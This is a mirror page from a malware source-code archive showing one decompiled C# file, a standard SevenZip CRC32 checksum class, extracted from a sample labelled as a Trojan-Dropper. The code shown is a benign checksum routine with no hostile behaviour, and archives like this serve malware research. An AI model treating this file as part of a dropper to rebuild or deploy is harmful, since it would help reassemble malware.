mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-17 00:09:23 +00:00
f2ac1ece55
add
54 lines
1.7 KiB
C#
54 lines
1.7 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: SevenZip.CRC
|
|
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.jc-6e02b71a709e42516d7a14e4e52d08479b8d86674e6e6992da3654142ae73613.exe
|
|
|
|
using System;
|
|
|
|
namespace SevenZip
|
|
{
|
|
internal class CRC
|
|
{
|
|
public static readonly uint[] Table = new uint[256];
|
|
private uint _value = uint.MaxValue;
|
|
|
|
static CRC()
|
|
{
|
|
for (uint index1 = 0; index1 < 256U; ++index1)
|
|
{
|
|
uint num = index1;
|
|
for (int index2 = 0; index2 < 8; ++index2)
|
|
{
|
|
if (((int) num & 1) != 0)
|
|
num = num >> 1 ^ 3988292384U;
|
|
else
|
|
num >>= 1;
|
|
}
|
|
CRC.Table[(IntPtr) index1] = num;
|
|
}
|
|
}
|
|
|
|
public void Init() => this._value = uint.MaxValue;
|
|
|
|
public void UpdateByte(byte b) => this._value = CRC.Table[(int) (byte) this._value ^ (int) b] ^ this._value >> 8;
|
|
|
|
public void Update(byte[] data, uint offset, uint size)
|
|
{
|
|
for (uint index = 0; index < size; ++index)
|
|
this._value = CRC.Table[(int) (byte) this._value ^ (int) data[(IntPtr) (offset + index)]] ^ this._value >> 8;
|
|
}
|
|
|
|
public uint GetDigest() => this._value ^ uint.MaxValue;
|
|
|
|
private static uint CalculateDigest(byte[] data, uint offset, uint size)
|
|
{
|
|
CRC crc = new CRC();
|
|
crc.Update(data, offset, size);
|
|
return crc.GetDigest();
|
|
}
|
|
|
|
private static bool VerifyDigest(uint digest, byte[] data, uint offset, uint size) => (int) CRC.CalculateDigest(data, offset, size) == (int) digest;
|
|
}
|
|
}
|